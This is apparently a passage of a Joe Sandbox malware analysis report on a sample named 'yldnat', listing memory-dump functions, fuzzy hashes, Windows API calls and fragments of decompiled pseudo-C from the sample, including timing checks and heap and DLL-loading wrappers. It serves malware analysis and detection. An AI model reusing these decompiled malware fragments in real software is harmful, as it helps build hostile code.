Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 0085FDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FDCB

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 0085FEA0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FEAB

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Uniqueness

Uniqueness Score: -1.00%

Function 0085FED0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FEDB

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 008607AC Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008607B7

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 0085FFB4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FFBF

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 00408E70 Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00408E70(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* __ebx;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E004071C0(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E004073D0( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041BEF0( &_v284, 0x104);
						E0041C560( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E004159E0(E00415980(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x18; // 0x5e14c483
						 *(_t52 + 0x478) =  *(_t52 + 0x478) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E00407400( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_push( &_v24);
					_push(_t52); // executed
					_t34 = E00407480(_t39); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x560)) =  *((intOrPtr*)(_t52 + 0x560)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x35)) =  *((intOrPtr*)(_t52 + 0x35)) + _t39;
					_t20 = _t52 + 0x35; // 0xffff43e8
					 *((intOrPtr*)(_t52 + 0x36)) =  *((intOrPtr*)(_t52 + 0x36)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x00408e7b
0x00408e83
0x00408e85
0x00408e8a
0x00408e8f
0x00408ea2
0x00408ea7
0x00408eb0
0x00408ebc
0x00408ecf
0x00408ed4
0x00408ed7
0x00408ee0
0x00408ef2
0x00408ef7
0x00408efc
0x00000000
0x00000000
0x00408efe
0x00408f02
0x00000000
0x00000000
0x00408f04
0x00000000
0x00408f02
0x00408f06
0x00408f09
0x00408f0f
0x00408f11
0x00408f1c
0x00408f21
0x00408f24
0x00408f2f
0x00408f30
0x00408f31
0x00408f3c
0x00408f3e
0x00408f44
0x00408f48
0x00408f4b
0x00408f4b
0x00408f52
0x00408f55
0x00408f5a
0x00408f67
0x00408e96
0x00408e96
0x00408e96

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27ca8296a09ebefc98364ae91601f06ffc84b21d7e82a9254a1edf0fb0f1f047
Instruction ID: f6d2a4ae43c0e80154541ee1f12fa55f7c3f5c6d6a8e09a367c06d0bec02e1f3
Opcode Fuzzy Hash: 27ca8296a09ebefc98364ae91601f06ffc84b21d7e82a9254a1edf0fb0f1f047
Instruction Fuzzy Hash: 00210CB2D4020957CB14D670DD42AEB73AC9B54308F44057FF989E3181FA387B4987A6

Uniqueness

Uniqueness Score: -1.00%

Function 0041A612 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(&QA,?,0041589F,0041589F,?,00415126,?,?,?,?,?,00000000,004090B3,?), ref: 0041A5CD
ExitProcess.KERNELBASE(?,?,00000000,?,?,?), ref: 0041A648

Strings

&QA, xrefs: 0041A5C2, 0041A5CC

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: AllocateExitHeapProcess
String ID: &QA
API String ID: 1054155344-1643839059
Opcode ID: 2b102533b8bf055206c34439dc54e66d7fe00a8a369fe2c5bf1f6105ee19a667
Instruction ID: 99c6ee4e176d8df1f414021d3a2491ffb5ef093e05c339f36cc8711dbe6d7b5a
Opcode Fuzzy Hash: 2b102533b8bf055206c34439dc54e66d7fe00a8a369fe2c5bf1f6105ee19a667
Instruction Fuzzy Hash: A8F0C2B52053447BCB20EF65CC81ED77799AF45768F04844AF84C5B242C634E956CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(&QA,?,0041589F,0041589F,?,00415126,?,?,?,?,?,00000000,004090B3,?), ref: 0041A5CD

Strings

&QA, xrefs: 0041A5C2, 0041A5CC

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: &QA
API String ID: 1279760036-1643839059
Opcode ID: 8082421df8bc89d162f2638fa4c1385792dc10d17e44cb2d46fb0fb817fbd62f
Instruction ID: 2a730f70d87c6ab8d876abe578f12bb998df62c6dc8c1e23a4715ed9ac41e0db
Opcode Fuzzy Hash: 8082421df8bc89d162f2638fa4c1385792dc10d17e44cb2d46fb0fb817fbd62f
Instruction Fuzzy Hash: EBE01AB12002046BDB14DF49DC45E9737ADAF88654F018155BA085B241C530F9108AB5

Uniqueness

Uniqueness Score: -1.00%

Function 004075F3 Relevance: 1.6, APIs: 1, Instructions: 66
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040768A

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 1ea0d3d9e0e4f3eb70fb3fe8c9b1ffba7b81a8bc8763de7ddbbd544b7c0a892b
Instruction ID: f026a35aca63d969c2ce534e3b16ec01f7963c66b54c96cc342e9683c5c98b31
Opcode Fuzzy Hash: 1ea0d3d9e0e4f3eb70fb3fe8c9b1ffba7b81a8bc8763de7ddbbd544b7c0a892b
Instruction Fuzzy Hash: 7C010831F801287AE720A695DC43FFE77189B44B65F04453AFA00FA2C1E6A97D0647E9

Uniqueness

Uniqueness Score: -1.00%

Function 00407629 Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040768A

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: e5ddc434e8da6e234e1fd4322a2e39aa8af1017baf877f63009cd6e35768131a
Instruction ID: a598b0dbbc9134c15099927b5cd9f51b64e91dad818f80e404e1b3cc3e721165
Opcode Fuzzy Hash: e5ddc434e8da6e234e1fd4322a2e39aa8af1017baf877f63009cd6e35768131a
Instruction Fuzzy Hash: 7501D831A802187AE730A6959C43FFE772C9F40B54F04412DFB04BA1C1D7A9790647E9

Uniqueness

Uniqueness Score: -1.00%

Function 00407630 Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040768A

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: e227a9f55e9655ffb82b1c4267eddf86497179bf27cde26b4fa5978877c83a4f
Instruction ID: fa4d66a970e316ab97ee316df40dc40f2c28fb8d869ffdedeab5936c75815792
Opcode Fuzzy Hash: e227a9f55e9655ffb82b1c4267eddf86497179bf27cde26b4fa5978877c83a4f
Instruction Fuzzy Hash: 1F01A731A802287BE720A6959C43FFF776C9F44B54F04412AFF04BA1C1E6A9790647EA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5E0 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041A5E0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;

				_t3 = _a4 + 0xc90; // 0xc90
				E0041AF20( *((intOrPtr*)(_a4 + 0x14)), _t7, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a5ef
0x0041a5f7
0x0041a60d
0x0041a611

APIs

RtlFreeHeap.NTDLL(00000060,004090B3,?,?,004090B3,00000060,00000000,00000000,?,?,004090B3,?,00000000), ref: 0041A60D

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a6e6f41d857b18798f6d11579541f16a6a166f54801e0754a839ad98261f1417
Instruction ID: 464c70d3af3814a69a75cf698def59deb339e514249c01d2b25926d4b45fecd6
Opcode Fuzzy Hash: a6e6f41d857b18798f6d11579541f16a6a166f54801e0754a839ad98261f1417
Instruction Fuzzy Hash: 12E01AB12002046BD714DF49DC49EA737ADAF88754F114159B90857241C530E9108AB1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A740 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A740(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;

				E0041AF20( *((intOrPtr*)(_a4 + 0xa1c)), _a4, _t7 + 0xca8,  *((intOrPtr*)(_a4 + 0xa1c)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a75a
0x0041a770
0x0041a774

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040D562,0040D562,00000041,00000000,?,00409125), ref: 0041A770

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: b6c9d2bb7c1b66bb05113664278c8ba5e33a8a1c89f8aae2c7e428828915c1da
Instruction ID: e588b84fdf650a5406be97cb40cbe76c444197855ad9c0e49af8bf90355b8ea0
Opcode Fuzzy Hash: b6c9d2bb7c1b66bb05113664278c8ba5e33a8a1c89f8aae2c7e428828915c1da
Instruction Fuzzy Hash: EDE01AB22002086BDB10DF49DC45EE737ADAF89664F018155BA0857241C530E8158AB5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A620 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A620(intOrPtr _a4, int _a8) {

				_t5 = _a4;
				E0041AF20( *((intOrPtr*)(_a4 + 0xa18)), _t5, _t5 + 0xc98,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x36);
				ExitProcess(_a8);
			}

0x0041a623
0x0041a63a
0x0041a648

APIs

ExitProcess.KERNELBASE(?,?,00000000,?,?,?), ref: 0041A648

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 1cfc6acf09b4d581fed35e39f5b9fca2d0b24bba4d46bbacac3375e597e63901
Instruction ID: 7f414ff012d9aae071d189fb1b515e73150d57ea7af78d7796793094b67a6b8c
Opcode Fuzzy Hash: 1cfc6acf09b4d581fed35e39f5b9fca2d0b24bba4d46bbacac3375e597e63901
Instruction Fuzzy Hash: 32D017726002187BD620EB99DC89FD777ACDF457A4F0180A6BA0C6B242C934FA5187E1

Uniqueness

Uniqueness Score: -1.00%

Function 0040A0D3 Relevance: 1.5, APIs: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040A0D3(signed int __eax, signed int __ebx, void* __ecx, void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v540;
				void* _t22;
				struct _OBJDIR_INFORMATION _t24;
				struct _OBJDIR_INFORMATION _t25;
				void* _t44;
				void* _t46;
				void* _t47;

				_push(es);
				asm("loopne 0x79");
				asm("out dx, eax");
				 *(__ecx + __ebx * 2 - 0x74) =  *(__ecx + __ebx * 2 - 0x74) & __eax;
				_v12 =  &_v540;
				_t22 = E0041CD70(__edi,  &_v16, 0x104, _a4);
				_t46 = _t44 - 0x214 + 0xc;
				if(_t22 != 0) {
					_t24 = E0041D190(__eflags, _v8);
					_t47 = _t46 + 4;
					__eflags = _t24;
					if(_t24 != 0) {
						E0041D410( &_v12, 0);
						_t47 = _t47 + 8;
					}
					_t25 = E0041B4C0(_v8);
					_v16 = _t25;
					__eflags = _t25;
					if(_t25 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						_t25 = _v16;
					}
					return _t25;
				} else {
					return _t22;
				}
			}

0x0040a0d3
0x0040a0d4
0x0040a0d6
0x0040a0dc
0x0040a0fc
0x0040a0ff
0x0040a104
0x0040a109
0x0040a113
0x0040a118
0x0040a11b
0x0040a11d
0x0040a125
0x0040a12a
0x0040a12a
0x0040a131
0x0040a139
0x0040a13c
0x0040a13e
0x0040a152
0x0040a154
0x0040a154
0x0040a15a
0x0040a10b
0x0040a10e
0x0040a10e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040A152

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 0ba5eb0ca508fad6ddbea8a944ac1c6cea52edcdc7b16ad42aba06ba11698ec8
Instruction ID: 9633dd9c7faedaec9e0e039afaa16631705d3f6b186ad1a438174faa9559c38c
Opcode Fuzzy Hash: 0ba5eb0ca508fad6ddbea8a944ac1c6cea52edcdc7b16ad42aba06ba11698ec8
Instruction Fuzzy Hash: 98C0C030E242049FEF10C9944C02FB833D0C3103B3F3001E76C0CDB381D4220C100290

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 008610D0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction ID: b97e0867cf63cce6a7bd091cca7d2f61d4937398616a74d9d7050cc2a0bd1794
Opcode Fuzzy Hash: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction Fuzzy Hash: E8B01272180540CBE3199718E906F5FB710FB90F00F00C93EA00781C50DA389D3CD446

Uniqueness

Uniqueness Score: -1.00%

Function 00860060 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction ID: 5a023e870da9c1ddb48dfa425d4b1b106951aaa9a6b60f468992a3f00291b547
Opcode Fuzzy Hash: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction Fuzzy Hash: 5CB012B2100580C7E30D9714DD06B4B7210FB80F00F00893AA10B81861DB7C9A2CD45E

Uniqueness

Uniqueness Score: -1.00%

Function 008601D4 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction ID: 018f436d7687ff9142db90ebed9d2f0c0dfd000868ccafab48d689f3c6447ef1
Opcode Fuzzy Hash: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction Fuzzy Hash: B2B01272100940C7E359A714ED46B4B7210FB80F01F00C93BA01B81851DB38AA3CDD96

Uniqueness

Uniqueness Score: -1.00%

Function 0086010C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

